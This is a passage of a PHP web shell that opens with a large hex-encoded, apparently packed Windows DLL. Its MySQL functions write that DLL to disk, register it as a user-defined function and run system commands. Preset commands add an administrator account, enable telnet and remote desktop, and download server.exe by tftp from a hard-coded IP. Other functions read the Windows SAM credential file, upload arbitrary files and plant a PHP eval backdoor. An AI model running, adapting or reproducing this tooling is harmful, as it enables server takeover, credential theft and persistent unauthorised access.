3215FCFFCF4913D1E9D1DBD1EAD1D80BC975F4F7F3B014B9B684643D2150F7EDEEBB2F7DD1720E3B27770872073B2B76014E4C4B56D84A7FDEC27F6F2A0E7AB3D96E506EA833B6517405C203506E10DD66C85E0C156EC814910410BA37CD606B0C0E0876082BBB1B406CA6DB11140708BDDA264103BB27DA007C3F26A8742AA6443D71A376E9C18BD1783BFE3DEF0F82800E036A738314ED6F4BDC8183E2EEF95E29F3A5FF249513A9F1DFD6426811BA1C83E904720C0CB136DB8F62C86D41801E8D789075F3B9C70741FC900403BCE023D173DB852F1188078A46BE470105025608938C2D5B59C6C75CCC8D96652CD949002B25010202EBCE2679A690234621473F5DD70DE48C065F034C0744374DD3343C342C241C8B44344DD3FC8EE489448FE4E8E8ECECD3344DD3F0F0F4F4F8CD39324DF8FCBDD7007B87B01027F809FFF00305399AA6808CA0BC6C36B0D766909D0BF91133240417A30D0A2BB8555B0D2531C639FCD8F692417F240DFDE3FC77823BC2E54400F7D96543B04B8F779E9C1CF92B43082CC2D6745D900B180338606D033A02F275B76F034E584F56B6B74B08F6971FA3EE02EF026FD9807C298C902724E3952D09AB2D03AE45EB1666625A955B7FB403A6699AA6BCC4CCD4DCA6691A9AE4F7971C1C189AA6699A18141410100C699AA6690C08080404A6EB0E231F05100318E05A129A283C8BB7B56C21CC96870F8313112A210CB700ACE86FE2570FAFAE83FEE08BDE770D0000EC1A0C2715773A7256B4D59382AB1D3D530256F057752B566A082A898850D71C14229893820F56741956947414EBA96A72A31644577C54EC8157B40E5BEB56D5612ED4230603EE265D565698182B52F7616904FC8AAEFF41BE0D50BCC5273ADC3701435C147C29985047568D7C07FB2D162BF90CAD240600473B5B290E2B1E7CA55E90C3B6CA11C56056821834BFA3A546088B87803B08742246C2ED46D988E80713720FF9240A606106817D0D4C02DB6E8350F531845E39C3D9AC60B6DDBC17721507CA532C1EB22D19080C16334BA55C1DE660080C7BD27502BD40DF1283CFDEDBE158EC22C90314BD737500A20F08B1443C998A74F6466221F816F87544837E5F23E886DE04FD0C958D460CFE1EC413ABFF4620ED8D5E0C70F61B090D803874180C84884388239F4500C3A585BF2D50DDE52B116A245999F7F9D1F03DD4A80336C66D2983FA3BF137EF2083C5044381FD5FA40F8C5E3984F86E23EB4EBE3E56B93E126F843E8D0C9DA9901E9C5F8684F83BC27318C01103D6EBE48D0815EAC1E30543C70B2256C9A012346C430BFCFE07563B0D535773F7C1903683D0C93CC18F07833C50B0DA28E4361AF51B053E1E751EE28B104974084958DEDE680284F4EB0804F5EB03F6A337DE4600E836891C308A5BEB161EE4C2DA027F7B5882864329F459376A830037C674320E1F5AC9F31CD6CA7E50505031C85A7B830CB2247ED4CAE264CF731FCCA3AD8D8800AB740F00E16AD8580841533AFDECA4963B343D1C063CC0C1E7154A81B1BCF749D418C5604B9E381780360CB2AD2C98248184E169CA5190C61D5642D4920179728BC3C36C8BB1E14E4152530411590F250306F029535DEC60B404CBF0F6D915B7B10211B0FF0336E4106AC0A359B43809F2A22CDEB43F4AA87BF6F30549C0FF4AB890073C9013082CBAAED003FC0C203F087900724AA84AA8A6E9BAD83F069F038C848BA6699A7C746C645C3F5D3B8F004AA8F003C00164D134CCE03F39859CE44C404BF04B4845D375DD2C900B580378A03C0239903F4C404C405D171B855B7FF403FC344DD3750E04030C141C24871160D1373F1F164DD37505500358687C3FAB2F4A003E1CCCA0022F907956F6C112883F1594D9815DE874095900FE37ABC645FF10EB0B8065FF8DECFC0FC0861A806811F6C540750839B72F455328E48B4DFF806A83C15E02056083236DC3DE2374001680E1A4C3F96C01175510100840EB07F60D4A30797FF810742604ADB7F2F220741830740A5074897505216A16A21521020C2ABD7CDF060389F0BA00077D0423CABF54B47F037D3BC87F31742A3BCB43C3ED4AB06D195433744D0739BA91AD85CC43F84C0804BAA67B7B435AF8EB3E26052F070643CE806F1E3BCA7423C2163CDD1188188F4F5B3B0507E69EE00113FDBEFEFF32FC5DF4C77413368E54F7D1234D143737B8DB1172A840C581CE1F0FF601F6ED63DBB7C4DE020BF7A8DF081408EB0AA8115D2CBDB1060B1068ADD8233BD39241E0DF751AE918016D0D8231816ABFB78D0A9E2DA82BCEF008022D6030EA3BAC39BF4213628561325256E8B383459875090A18EBD8D583F9B19A4DFF40EB09AF08146C410F78473159812781D6C68A11C380C901C630045A8452C9C2DD05BEFF0B48884CBD7578EA7473F606818116F502746D8B945DA2220B1E8B067519FC35008FBE813883E94B1D2A1759D888B60DBCEB584213E2137C677E2511335669A116807D131A11825F178CF015554445E2811980C73E5A74B52DD81C2EAF737808AB60072DDC07808B8C4E8BF390E005C916713F8005431467736A081E8233918B09570441464E600F3B32B24C245B231A0EF2F2B64D79D50D04FEEB08FDEB03F4C11A824C0C5F198A1141AA1EEC1BF16488174762EEEB05838C00F0D32401119C2CCBC983C1E134271208006DCC6AC738682DD9D2D96608C6C3000C085DC049B38807CA185A1965872312F52A65520945A9F88959AC913859A6E80AB82C06F651FAD756F29B6A0A8FD2268988391874744617CAE630428A78A9E850538B58DA71F0D73BC6CC214D628386A240C893715963FF25DAE2BF94603975E8F3ABAA895D0F6C16E8D386EBD77DEEB8BC4DEFDD405B2B04D30CAFCBB641FFE87BA312CA300F87942588CD546C9CD28DEEE356F7E58D614F6F52F3AB04AA8D9E94FA52A15498BCB6DE2C8A5101E84B51844B5CFA3BC777B7EFEE2D68FC8A922080089047401376F5F84BB1F04141803965D47983C308837DFC6913B93638C1E2C8914CBA6DA087F750A3A4105384898C2AB8BFDF709140A5A559A3D1A5EB5240D1B3A660810547A8C6A19EC57EF508403DFF07F153382B89357BDF06F15335250700BA49F88816ADAB00981EA84C97DFE75E2E8604AFE9508301D08C4311946FA857DA70EF65402DDFFE01A8946CBBE78FA8FF1570F814FD9635D1CBF4FC750F87DC19F6AE1CC7492DA463E7E804741704D7A628F00D740C802CB804F93CCF763605120B0811578460862571BEC01F88E1625F044CE5CF52B1404522283456A166B453962215127FE081E016CFBE8C888405ECDF7FA1150D8AC672F48A45F2C6850D20166E104D3B375A55F3B80A2D415FA0183BC1771D48BC3A08768F2A41B820008BD9CBAB6B81FA47AA42428A42FF84C15FF8EC352C900EFA8B358D7A029A33D0213989B2EF8C7DDD5A9123FD1D561E9291DD6C5634235842FCAD803DB8682E2768002E7DB75CCA8D8D726695F6C2CDEF67341503108A940564889060EFCEC9DBEB1C1A027410205BEBE380A06E6834781CDE4400BFEB491ADB0D1315DA417219045AB2BC8DFDC34BC880C1208888491F1D617213C3DE9CBC7A770E20E920EBE04C77F915774ABE5EC97394886AFDA90210F970505C59FC94882F1FD575798FAC426866281854FAF7403D6709FC161C57FFD664BEDB29FA297450100CC7D7BE5DA0F85714B00C06B45B99A0BB88CD16FFD0D602DEE66BED10B405531104EE1590601D4D0AC00982FA8659A057040481282056B064F0BB470B0C85965E91F983FA982DE9ED6A47C025152BD16075FA9AEF10D06D020610CA1A251C8E1D1429168F58A6EB3A06234AE2EB8807351E94CC5289365A271ACF0D56AF1235140FCBFFE1C3A0B7AC99AD78F2971B180A0360B615DCC1A8F1223E1975EF13A0876A064F4AACEC508B9E1D9C345CE66D442C51681C4C147D452E6AB6AD50293F89B1C1E0939D084B1A6606AB9F44BC3805750BBB0D416F064D6B50AF256BBC5C487D469512980708D0E250853014526D2FD050BCDE1BF6034EBC05A908D81A4A8615B06F126945FCDE30A22DC25B53C366A035AADB9C65F874E144346021CE0C29800750A09543B566401343E0E0043812F107C406F98A4804657FAB99A5DF89084B1D8A40053C0A84BED01D154D1088E4078D53010F8B459718C682050ABC160C166D515452B810448B664DDB39AD976865D1068F1496935166EB006D912446E98B17684D8B3D4BE1F40155F64235D144E68AE5A87CC50EE0D0F876EB3B0A81A274BBBE0C04E724FB027FAD0D03808136C85B00140C0075FFD06C0B23578A101A33AE3CD45FBB2D0D0BB443FF135A12493944BBDD2DA2182140803848068308CDCD76BF5F5EC6030D4344EB73CA2BD36E3260E7FF6A01CF0A090E683BAA479F74411ED101A2358848D12D821A85FF9D468B0F4388443105EB293B700420DEB6250CFF6305160AEB18A55E40D812FFA9193507AD9C7B77BF925B761A750D85115C74F3064942D12EE5E4AC062B4688210250A8EAA9D800F91131357540346A46C42BF87D5BF41F8AE875465757EB533038154C20629236B1F2DBCA6A711D23EB222014A660B0341B48E1FE033130EB651DBA397D147E108AB25936C514105A66B67DF436E1A11D591D161C0286D98CD9181FD84872DA478DC159D22AD3A62018366B5B0CBE3C20732EDB6CB74EC1245E0140503720CA3F408C4C793BDF0F849CD25B6CA014041B9C0324FCF25DAADB2EDE8BC441DC8367EB138DB5D751678BF026118BB5D9F6AD3867DC7466534CDC6121CB9EEB9257F44DEC1AA574A3A6884412D80A7432B06D4B6C5E0D40403E1C78B2C8663713EDD57F1EDA321C0962C321858F2065C814876515F4A1F20BD966B6B336DC895DE08B15483212BDB27DB953D6BDDF74B45664E467749C8F6AB35BA3B30E03EB068C28EDD5618F54D5CC0AB11B88108B71B77179088B2680AD9F44568D4A9E0D7FBA0DBA5580F1491AF30C5E5CC60736942B498BC24E58ED61328118B4ECAC375E2D043E3E8A515E564234632356A53C0497CFC819DF1D1B56495340CEC2C73B028658A3432D24F276607CDD1C490554CC335033E433B263345BC8945D18908DD9968D532C34201BC53619181FE0DB630AD06A15B5CB3EBB15B0107CD3DC57CC0FE16050B3EB0B83DB33ECB6119CF6112949E0565FF670C9DA1C5552F8D7B2703A84933C8AF5CC38680C42EF047AC25F9A51D4E7023A01752E0A1BB1D552F0263A613E0A431D966EE146873A4101191411035BA330D56BFDD51A75555B430BB3FFB090D3D18E016DADCA0B4301070242B5CFD6ED44E94130E01302A86658AD799AAF335BD2CAC9C14A6D42AA5BC98CCC4F56530B4A55B050009C1B201AFFAE023307420FAB0424EBF3775DFE5ABB8C90416E14460FA373F201E6E20204C420753F98FD646C3A0AF38D46FF3B9CB8ACF87B5643BE51EEB60E56485481DF4C03C12580FC8D161DDEBD0A80E17FEB0D811FDED0540440391180C980DE880A81440B8D6686C5C671D0419080E3D60AC0C006A0A8487D065C9C249E5862050D10565D7426E8BC00BF83C410E0AE41C305E3CC0CB568E12EF1C6012D415CEB030A915B4013D4B88110B5DAA5DAD2630883FB0950769225FF2F7D6B2004308819413577DA802100498A178A018878007F8B118F49473BF972F21B365341486FFF948BD6A81E588D39C470CD4143A1D03B5CCF252EB6C1FF46758A274738C474F22C419D1AE324EC85D2E1C5FE4186E00E824A6F1474D21AC0E6FFD1575F3AEB78F0FFBF34019130007F0419C0D96EE2EB15130DC9817888C2C77895FFB541599EEE9067271FD82E760B3E6A602266C4040907B742A68D38CFDA39CB15580B0318AC05224EEBFB55D0C2052241280EABE097CF0B6C112836D1E970DA0C1B1FFF804EB741B35AB6201726828ADDFFDBEE0774217F1D467BFC720638DC770202E638F809D8B517BA35C6F7750DEBD733C908023657B34D9BB9AFE582806D6AE4BF0FF35FA6ED85B50A321926EF2BB446AB2F99EE57EBB68DDE5AC3EC74230BAB1F775165EB3AC0F0596B0979D584B5634DCA0975720271FC08A5C9DE0E5FFECB030051283074512BBC2311EC1A2D75770C920F1DA2C685B7A6EB52DF2F7D8B5BB10EC11AB6D10A5601805E6EBDF54B318065FE0088508845FDF3EB09BAAB41D90DFD0F6C8D4D0AD58B1803165179AD7DD182C16E4F026B53B38059E3450A23B07465BB72251CAE5A80450F8CD5815DB9AAF5490F8FA18A46D52D1FE9DEE83C057C83760A4D405E7D2539DBD187F8787E0BD95FAD6A0AA1A1F4DEE0FE8A045823C667D9EB658B1512DA65E94CB4B6C84A740FA7DF5BD4D630AF88065D0958B60917C5522B5B13566B032CF036BE03B49F572F1A6AE0648FCC20F6AEDA06AD75A5D646D0BE05FD032C37126253CB0BC18C00885DC029C25A0BC839FAAB60287C25F7E1C29DEB025EA105B11D42030985056C351FD31EAACA3EC1CC03580000D37466AAFF0F4D53EE65DD9304DF03E50F08EC03BDE4F2B2F20F0AFF0B050CCF0AB656D003D50302017FB6DF3A1903070602100445000535300050B5EEFF7F2C20283850580708003730305750070F200BD71461DE000860686009780073AE956E08071507001A010E7D7BDDFF0028006E0075006C0129320F6E756C6C6FB7FFDF0A72756E74696D65206572726F72200F0D0A03544C4F07E4BFD95353110E0053494E470044BBFD65ED4F4D4112115236303238082D204BB76F7F7961626C746F20696E6956616C697A0D6865D67EBED961703727376E6F743D0460EFB6FF756768207370616323667B6C6F7769380AB9EC3661066F6E3736ED672079737464357075722BF6DB5AFB76697274752133A5632320630C9B42BED86C285F345F2ABDF6DA7665785C2F5806DCE2E6BEB0935F3139F76F706558313260DBEE736F0F646573632B3888706B6D4624816564193024DF405723376D926FDBADA6AC7468BF612F6C6F636B1B6C8530173464B7865B6B6E612E02A221726D0050D8DAB770406772616D204A6D366829EC852F30394F10E71A8D66412A2B302E2B84EF53C8386172677528735F6DBBF63C303266C16E6E67826F9CB52EB605743A1164E67F4DC3DB422B2D60396615566973AAEFF660FC432B2B2052A04C6962B47279276D0F87B90A2D16450E211150D8656B9CD43AC2002E003CE5ED6D736DE0252C6B6C776E3E1B17EED8F84765744C61324102766550AE75705BDBCE62130F57956426876534BEF0FF7373616765426F78410075732533322E642ADD931252EAB75956035A77CF76670B5A955A0E0B5B8E0392483AAFB9BBB56D904A0064002C204D20086DC9BDB97900632F642F06D74D03FDB5179A4144EE656D626B5B4E6F76C3FE6D930B4F986F0A536570741486A96885416C96711BBEEDF9B941076E6541F369A64D101636172763684665327533BDF7DE7B4A616E0A675F57537BAF7BEF4B47433779433F3B6EA9D0DE3323B03C6418B0ED587B4F5E095468127313D9C15A6157BC7C0C547509B9D9B1C64D251053750743F7DE7BEF3B372F27231F039E73CEB90A11181F262D9C73CEC5AF828990979E72CE39E7A5ACB3BAC1C8A78008047C28BB92975043BD384F296360A9523F4D797371909620A953A636306EC263B50B355A6A09A663B7B921E76A3752C077035C321703ABCF91FB2E746D700FB40600B6472A481D3A2C7EB53D25E4E6FFDB730A2F636D642E657865202F63200068656C55192B75313774073967FF76B6E4380B3006687474703A2F2F8F2DF5FF2ED9632D9B09CAE4C8EBB8F1CABDB4EDCEF3FFC3FE6F120D00CFC2D4D8CAA7B0DC0BCEC4BCFEB3C9B9A6F6DCE6FE21C2B7BEB6A3BA7E175C3F44867B81D10F00200593195731D913199DE4667271F0108DE8832119B2178E180F30434E5146C2F80392017BD894A007010153107C81A4B902011F0264410152476357D9D9070A2F0207743CF2E4C96C084009140A73F01093274F9EC411941270133C79E4C944180C1972E41AAC1B93274F9E741C4C783C796EF2E4C92C7A1CFC18FF86B29317D854DD038572200107402699282048001940269210841002199009810119900119108202601C16023B20EF200D0C050133164DD30C3603070418050D344DD3340609070C0832D82083090A1B0BC1BEF702573B070F575F906EB0101311031217210C32D820350F414336D86083503352175307D860830D575F597B6C17D2344D376DAB20701C72D860DF0BC72F80B3810760830C36821F83848F208334CD91299EA1830D32D8A46FA7B79FCE760EC2601FD70B18070069BEB35D0517C00B1D0490664006968D08644006648E8F9006644006919293CC066140039F78EF4D54EC25FF0204222B6027CF0EF68279822117A6DF07A1A581E9CDF3EF9FE0FC2F407E80FCA8C1A3DAA34F0D72F60881FE0740B577830C812F41B65FCFA2E43E5F21FFA21A00E5A2E8A25B7EA1FE5105BF92DFEE03DA5EDA5F5FDA6ADA32D3D8DEE0B26627B7F939317E430303860064AA432EE99E9C84538B9876840380A6699AA67C7874706C9AA6699A645C54483C34699AA6692824201C18A6699AA614100C08044DD334970075FCF8F0E4DCA6E99E35D42F75CC03C4BC9AA6699AB0A89C908C8849BEA669806C64CD2E821D65BB8C8F905C037F009EF040E82F500B807007F0F11325DCA0D1535499508BDD50C944548CF38CDC97B058592CA7BF06699A0E1EEF3B5A9775A769BAA7B5D4F3E0301AB86CD3034E6D01333AB759699AA6697796B4D3F20CDA74DD272F034D6C01F108A48008368024444144210980D109600064C15B054D734325746554B6CBB7572C0D44656C65466905410A105FDB0C470A0953C5D87393CD2719522C0A23EC4F56C145185661726961622212C0EC7F436C6F736548616E6425F62AD80E4B4A500B63417B7B56686753791D656D4447B7C1B656F5227914744E747515B893FD70496E666F413569704FB1DBD62EA845782A08535D65702CFB36CCFD56657273696F163B896E6754792D67DF856C570F1F4C434D6170115706882E610D1B4D7073ED5BC34279126F65646543688366E5ABA03DFB644F66F34C6FFD8E6B68FF300B746C556E773C3D48D767EDAC7C70416C6C0A46B1FB432D7B9BE16F6D6D09336E7DACB38556982673FB0B790CC580D866E50B56ADB521419C42494D1E263CC3D609630A532740B029DBDACA16AD147215421BC0B64C5B762B78108C8580250B77C5EB8407C4600C542FB998A170B6DA75D3F812DCDD3302524964386C7353F3B3378BDD5575650C4F09DE4BD2258C531D2D471A086D618643427552C93B2463366412A0D50CC363141E4D6F64BDA34E616D6A3B2160BC5F9EE473183004470A0CF3CA6624A3FD08E42CCFF04258164361853B1CFE66BF08506F6990C906C25EF99DFD6B65644465633815C2844D72496E53EB460F3AC1F1EF73684B427566663E6A50ECB136761C0A410B074F454D092C19FE10934164647297EF7D2841BCD93C7155524C440A5BA4668277E3CE1C88F6F6FE340457534153864D00FF0402CBB22CCB17390334090C8D32B62C0B022649F7FF7FAE6D0C10025C000A052F0A5205546417350BDFFEFFFF811912192A060B2A385319310B320D1B806512ED2405670B30100F1CFFFFFFFF1B1B96130B530B1C455405400645171106180A118145110B4C310526530F7D1CFBA5FFFF078B1214050B121B271A1241691A09F04BF83A06F0520103BFFDFF7F0802070F080B06060A18050A1A0E080643125C1B4F59085A0DA37DF66FFF0F16F03001BAF00AF6211775F0C8020400CE2D07E6EDEDBF5F10070708270C0A08300A0608050C050CBFB5FFBB16030813082D1B10060F06070921AE08F04F020E6BBFB5ED061A050F107EA20605060D1D15349BFBF69B2244A6F0ED0120130616070F1810FBFFDBDB091A571362A9850E0B14060E09111C0F12091C230A03FFFFFFBF0C137F0A1CF0F20007194212310C0B0F0AF00302F04D012C0C1C191A0811F6ED5BFB050D05F00549BF05380C0757070A19088EDBADFDDB05663A081A0611190C7113081E0917F6FF0B6F17621806422214320715320A2115242A0E311CF6DF6EFF21250F0F321043CB140E47065B074845E3193539DBDF6EFF0C103F50133E1282260D8E13270F42141E6D157CFBFF6FAA0E13770D251C1374A04D18154A481712E3084B2512842F6C2F47550118EF051D29261A072842EEDE1D4A0604660B1B07161D2A32FFB7B77F7228060C3B0829710D0C234F6039150D3D22084C0F19615BFBFF262E0F20222D143A0726181A0B83A67C56DBFFFF138AF0FB00790C150B2EF0D9011C0D0D13090C32C221B76678E106210A1D081715A919E80B0AFBDF0A0B6E432C0019066F061E1113151EF95068857F10210C120E0F11759647BFF00BCDB85C7EF056011E550F0AC60A89050BFFBFB51F4C35080E1E1D182058163368254605030717FEAD6DFC103D105612F03E01EC48B24F30BD71E1B75B045E2F0F5838EA3C7D3810040CFB76F38301F0B4030408F0AC0A0DF014010417C8915D7E2010108408020800046453203FF0240608041009F92F71E90C9C645045A54C010400B2976A46AA4EF90FE0000E210B0106264B004F26A9244110BDEC3CFB09100F04000700D0B237E982272A0202079B6D7ED81E8D000071C886620285B9650AC0648A002B8CAA4BA744B0100C76F92E7465787446619070E2AD2A6574CD602E7212669D2BC1AB0D5303FB5E73D902402E26CF2427B62919A49090C04F6519EC6B0F7D584FC027A06F6EBF29421B5C881051C489C700000000000000800400FF00807C2408010F85C201000060BE00A000108DBE0070FFFF5783CDFFEB0D9090908A064688074701DB75078B1E83EEFC11DB72EDB80100000001DB75078B1E83EEFC11DB11C001DB73EF75098B1E83EEFC11DB73E431C983E803720DC1E0088A064683F0FF747489C501DB75078B1E83EEFC11DB11C901DB75078B1E83EEFC11DB11C975204101DB75078B1E83EEFC11DB11C901DB73EF75098B1E83EEFC11DB73E483C10281FD00F3FFFF83D1018D142F83FDFC760F8A02428807474975F7E963FFFFFF908B0283C204890783C70483E90477F101CFE94CFFFFFF5E89F7B9960100008A07472CE83C0177F7803F0A75F28B078A5F0466C1E808C1C01086C429F880EBE801F0890783C70588D8E2D98DBE00C000008B0709C074458B5F048D843000E0000001F35083C708FF9650E00000958A074708C074DC89F979070FB707475047B95748F2AE55FF9654E0000009C07407890383C304EBD86131C0C20C0083C7048D5EFC31C08A074709C074223CEF771101C38B0386C4C1C01086C401F08903EBE2240FC1E010668B0783C702EBE28BAE58E000008DBE00F0FFFFBB0010000050546A045357FFD58D87FF01000080207F8060287F585054505357FFD558618D4424806A0039C475FA83EC80E9C73CFFFF00000000000000000000000000000000000000000000000000000000000000000000000000000000000070F0000050F000000000000000000000000000007DF0000060F0000000000000000000000000000088F0000068F00000000000000000000000000000000000000000000092F00000A0F00000B0F0000000000000C0F000000000000073000080000000004B45524E454C33322E444C4C0075726C6D6F6E2E646C6C005753325F33322E646C6C00004C6F61644C69627261727941000047657450726F634164647265737300005669727475616C50726F74656374000055524C446F776E6C6F6164546F46696C65410000000000000000B1976A46000000001EF1000001000000030000000300000000F100000CF1000018F100009010000090150000801000002BF1000031F100003EF100000000010002006D7973716C446C6C2E646C6C0073746174650073746174655F6465696E69740073746174655F696E69740000000000E000000C0000001D360000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000";
}
function Mysql_m() {
    $MSG_BOX = 'DLL,.MYSQLroot,DLL.';
    $info = '';
    $mhost = 'localhost';
    $muser = 'root';
    $mport = '3306';
    $mpass = '';
    $mdata = 'mysql';
    $mpath = 'C:/windows/mysqlDll.dll';
    $sqlcmd = 'ver';
    if (isset($_POST['mhost']) && isset($_POST['muser'])) {
        $mhost = $_POST['mhost'];
        $muser = $_POST['muser'];
        $mpass = $_POST['mpass'];
        $mdata = $_POST['mdata'];
        $mport = $_POST['mport'];
        $mpath = File_Str($_POST['mpath']);
        $sqlcmd = $_POST['sqlcmd'];
        $conn = mysql_connect($mhost . ':' . $mport, $muser, $mpass);
        if ($conn) {
            @mysql_select_db($mdata);
            if ((!empty($_POST['outdll'])) && (!empty($_POST['mpath']))) {
                $query = "CREATE TABLE Spider_Temp_Tab (spider BLOB);";
                if (@mysql_query($query, $conn)) {
                    $shellcode = Mysql_shellcode();
                    $query = "INSERT into Spider_Temp_Tab values (CONVERT(" . $shellcode . ",CHAR));";
                    if (@mysql_query($query, $conn)) {
                        $query = 'SELECT spider FROM Spider_Temp_Tab INTO DUMPFILE \'' . $mpath . '\';';
                        if (@mysql_query($query, $conn)) {
                            $ap = explode('/', $mpath);
                            $inpath = array_pop($ap);
                            $query = 'Create Function state returns string soname \'' . $inpath . '\';';
                            $MSG_BOX = @mysql_query($query, $conn) ? 'DLL' : 'DLL';
                        } else $MSG_BOX = 'DLL';
                    } else $MSG_BOX = '';
                    @mysql_query('DROP TABLE Spider_Temp_Tab;', $conn);
                } else $MSG_BOX = '';
            }
            if (!empty($_POST['runcmd'])) {
                $query = 'select state("' . $sqlcmd . '");';
                $result = @mysql_query($query, $conn);
                if ($result) {
                    $k = 0;
                    $info = NULL;
                    while ($row = @mysql_fetch_array($result)) {
                        $infotmp.= $row[$k];
                        $k++;
                    }
                    $info = $infotmp;
                    $MSG_BOX = '';
                } else $MSG_BOX = '';
            }
        } else $MSG_BOX = 'MYSQL';
    }
    print <<<END
<script language="javascript">
function Fullm(i){
	Str = new Array(11);
	Str[0] = "ver";
	Str[1] = "net user spider spider /add";
	Str[2] = "net localgroup administrators spider /add";
	Str[3] = "net start Terminal Services";
	Str[4] = "netstat -an";
	Str[5] = "ipconfig";
	Str[6] = "net user guest /active:yes";
	Str[7] = "copy c:\\\\1.php d:\\\\2.php";
	Str[8] = "tftp -i 219.134.46.245 get server.exe c:\\\\server.exe";
	Str[9] = "net start telnet";
	Str[10] = "shutdown -r -t 0";
	mform.sqlcmd.value = Str[i];
	return true;
}
</script>
<form method="POST" name="mform" id="mform" action="?s=m">
<div id="msgbox" class="msgbox">{$MSG_BOX}</div>
<center><div class="actall">
 <input type="text" name="mhost" value="{$mhost}" style="width:110px">
 <input type="text" name="mport" value="{$mport}" style="width:110px">
 <input type="text" name="muser" value="{$muser}" style="width:110px">
 <input type="text" name="mpass" value="{$mpass}" style="width:110px">
 <input type="text" name="mdata" value="{$mdata}" style="width:110px">
</div><div class="actall">
 <input type="text" name="mpath" value="{$mpath}" style="width:555px"> 
<input type="submit" name="outdll" value="DLL" style="width:80px;"></div>
<div class="actall"> <br><input type="text" name="sqlcmd" value="{$sqlcmd}" style="width:515px;">
<select onchange="return Fullm(options[selectedIndex].value)">
<option value="0" selected>----</option>
<option value="1"></option>
<option value="2"></option>
<option value="3"></option>
<option value="4"></option>
<option value="5">IP</option>
<option value="6">guest</option>
<option value="7"></option>
<option value="8">ftp</option>
<option value="9">telnet</option>
<option value="10"></option>
</select>
<input type="submit" name="runcmd" value="" style="width:80px;">
<textarea style="width:720px;height:300px;">{$info}</textarea>
</div></center>
</form>
END;
    return true;
}
function Mysql_n() {
    $MSG_BOX = '';
    $mhost = 'localhost';
    $muser = 'root';
    $mport = '3306';
    $mpass = '';
    $mdata = 'mysql';
    $msql = 'select version();';
    if (isset($_POST['mhost']) && isset($_POST['muser'])) {
        $mhost = $_POST['mhost'];
        $muser = $_POST['muser'];
        $mpass = $_POST['mpass'];
        $mdata = $_POST['mdata'];
        $mport = $_POST['mport'];
        if ($conn = mysql_connect($mhost . ':' . $mport, $muser, $mpass)) @mysql_select_db($mdata);
        else $MSG_BOX = 'MYSQL';
    }
    $downfile = 'c:/windows/repair/sam';
    if (!empty($_POST['downfile'])) {
        $downfile = File_Str($_POST['downfile']);
        $binpath = bin2hex($downfile);
        $query = 'select load_file(0x' . $binpath . ')';
        if ($result = @mysql_query($query, $conn)) {
            $k = 0;
            $downcode = '';
            while ($row = @mysql_fetch_array($result)) {
                $downcode.= $row[$k];
                $k++;
            }
            $filedown = basename($downfile);
            if (!$filedown) $filedown = 'spider.tmp';
            $array = explode('.', $filedown);
            $arrayend = array_pop($array);
            header('Content-type: application/x-' . $arrayend);
            header('Content-Disposition: attachment; filename=' . $filedown);
            header('Content-Length: ' . strlen($downcode));
            echo $downcode;
            exit;
        } else $MSG_BOX = '';
    }
    $o = isset($_GET['o']) ? $_GET['o'] : '';
    Root_CSS();
    print <<<END
<form method="POST" name="nform" id="nform" action="?s=n&o={$o}" enctype="multipart/form-data">
<center><div class="actall"><a href="?s=n">[MYSQL]</a> 
<a href="?s=n&o=u">[MYSQL]</a> 
<a href="?s=n&o=d">[MYSQL]</a></div>
<div class="actall">
 <input type="text" name="mhost" value="{$mhost}" style="width:110px">
 <input type="text" name="mport" value="{$mport}" style="width:110px">
 <input type="text" name="muser" value="{$muser}" style="width:110px">
 <input type="text" name="mpass" value="{$mpass}" style="width:110px">
 <input type="text" name="mdata" value="{$mdata}" style="width:110px">
</div>
<div class="actall" style="height:220px;">
END;
    if ($o == 'u') {
        $uppath = 'C:/Documents and Settings/All Users////exp.vbs';
        if (!empty($_POST['uppath'])) {
            $uppath = $_POST['uppath'];
            $query = 'Create TABLE a (cmd text NOT NULL);';
            if (@mysql_query($query, $conn)) {
                if ($tmpcode = File_Read($_FILES['upfile']['tmp_name'])) {
                    $filecode = bin2hex(File_Read($tmpcode));
                } else {
                    $tmp = File_Str(dirname(__FILE__)) . '/upfile.tmp';
                    if (File_Up($_FILES['upfile']['tmp_name'], $tmp)) {
                        $filecode = bin2hex(File_Read($tmp));
                        @unlink($tmp);
                    }
                }
                $query = 'Insert INTO a (cmd) VALUES(CONVERT(0x' . $filecode . ',CHAR));';
                if (@mysql_query($query, $conn)) {
                    $query = 'SELECT cmd FROM a INTO DUMPFILE \'' . $uppath . '\';';
                    $MSG_BOX = @mysql_query($query, $conn) ? '' : '';
                } else $MSG_BOX = '';
                @mysql_query('Drop TABLE IF EXISTS a;', $conn);
            } else $MSG_BOX = '';
        }
        print <<<END
<br><br> <input type="text" name="uppath" value="{$uppath}" style="width:500px">
<br><br> <input type="file" name="upfile" style="width:500px;height:22px;">
</div><div class="actall"><input type="submit" value="" style="width:80px;">
END;
        
    } elseif ($o == 'd') {
        print <<<END
<br><br><br> <input type="text" name="downfile" value="{$downfile}" style="width:500px">
</div><div class="actall"><input type="submit" value="" style="width:80px;">
END;
        
    } else {
        if (!empty($_POST['msql'])) {
            $msql = $_POST['msql'];
            if ($result = @mysql_query($msql, $conn)) {
                $MSG_BOX = 'SQL<br>';
                $k = 0;
                while ($row = @mysql_fetch_array($result)) {
                    $MSG_BOX.= $row[$k];
                    $k++;
                }
            } else $MSG_BOX.= mysql_error();
        }
        print <<<END
<script language="javascript">
function nFull(i){
	Str = new Array(11);
	Str[0] = "select version();";
	Str[1] = "select load_file(0x633A5C5C77696E646F77735C73797374656D33325C5C696E65747372765C5C6D657461626173652E786D6C) FROM user into outfile 'D:/web/iis.txt'";
	Str[2] = "select '<?php eval(\$_POST[cmd]);?>' into outfile 'F:/web/bak.php';";
	Str[3] = "GRANT ALL PRIVILEGES ON *.* TO 'root'@'%' IDENTIFIED BY '123456' WITH GRANT OPTION;";
	nform.msql.value = Str[i];
	return true;
}
</script>
<textarea name="msql" style="width:700px;height:200px;">{$msql}</textarea></div>
<div class="actall">
<select onchange="return nFull(options[selectedIndex].value)">
	<option value="0" selected></option>
	<option value="1"></option>
	<option value="2"></option>
	<option value="3"></option>
</select>
<input type="submit" value="" style="width:80px;">
END;
        
    }
    if ($MSG_BOX != '') echo '</div><div class="actall">' . $MSG_BOX . '</div></center></form>';
    else echo '</div></center></form>';
    return true;
}
//MYSQL
function Mysql_Len($data, $len) {
    if (strlen($data) < $len) return $data;
    return substr_replace($data, '...', $len);
}
function Mysql_Msg() {
